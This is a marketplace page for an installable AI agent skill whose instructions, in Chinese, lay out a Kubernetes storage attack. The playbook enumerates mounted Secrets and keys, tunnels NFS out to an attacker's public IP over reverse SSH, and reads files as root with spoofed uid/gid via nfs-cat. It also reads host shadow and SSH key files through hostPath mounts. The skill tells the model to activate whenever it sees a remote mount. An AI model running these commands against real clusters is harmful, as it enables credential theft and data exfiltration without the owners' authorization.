K8s Storage Exploit logo

K8s Storage Exploit

OrganizationPopular
wgpsec
k8s-storage-exploit

Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namek8s-storage-exploit
Stars
1.7K
Forks
242
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the K8s Storage Exploit AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/k8s-storage-exploit .claude/skills/k8s-storage-exploit
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable K8s Storage Exploit in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads K8s Storage Exploit on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so K8s Storage Exploit is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Kubernetes 存储与文件共享利用

K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制(security group / CIDR),不做应用层认证——也就是说只要 Pod 在同一网络内就能读写,这是云时代仍在用的"上古"访问控制模型。

Phase 1: 发现挂载的存储

bash
# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
mount | grep -F 'tmpfs' | grep -F 'ro'    # Secret/ConfigMap 通常是只读 tmpfs
find /var/run/secrets -type f 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20

# True Volume / PV 通常是 ext4、nfs、efs、cifs、ceph 等实际文件系统
grep -wF "ext4" /etc/mtab 2>/dev/null
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'

Phase 2: NFS/EFS 利用

本地 NFS 挂载已存在时

bash
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null

发现远程 NFS 但无法直接访问

方法 A: SSH 端口转发(需要外网可达的机器)

bash
# 在 Pod 中(ReadOnly FS 需要 -o StrictHostKeyChecking=no)
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/

方法 B: nfs-cat / nfs-ls(无需 mount 权限,最灵巧)

nfs-cat 的核心优势:通过 URL 参数直接指定 uid/gid,无需 root 权限即可以任意用户身份读取文件。

bash
# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"

工具来源: https://github.com/sahlberg/libnfs

方法 C: showmount 探测

bash
showmount -e <nfs-server>
# 显示导出的共享目录

Phase 3: AWS EFS 特殊利用

AWS EFS 使用 NFS v4.1 协议。关键点:默认只靠安全组做访问控制,不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。

bash
# 识别 EFS(mount 输出中会有 efs 关键字)
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com

Phase 4: PV/PVC 敏感数据

bash
# 检查 hostPath 挂载(可能挂载了宿主机目录)
mount | grep -E '/host|/root|/etc'

# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null

# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null

关键要点

  • NFS/EFS 默认基于网络的访问控制 — Pod 在同一 VPC 内通常可直接访问
  • nfs-cat 是绕过 mount 权限限制的利器 — 支持通过 URL 伪造 uid/gid
  • EFS 的 security group 可能过于宽松 — 允许整个 VPC 访问
  • Secret/ConfigMap 与普通环境变量混在一起 — 仅凭变量名无法判断来源,需要结合挂载点和 API 权限验证
  • 存储后端可能包含:flag、credential、SSH key、TLS 证书、数据库备份

Frequently asked questions

What does the K8s Storage Exploit AI skill do?

Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能

Why use K8s Storage Exploit on TypingMind?

Because you install it once and use it with any model. K8s Storage Exploit is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install K8s Storage Exploit in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/k8s-storage-exploit. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use K8s Storage Exploit?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with K8s Storage Exploit?

As many as you like. As long as a model supports skills, you can use K8s Storage Exploit with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the K8s Storage Exploit AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇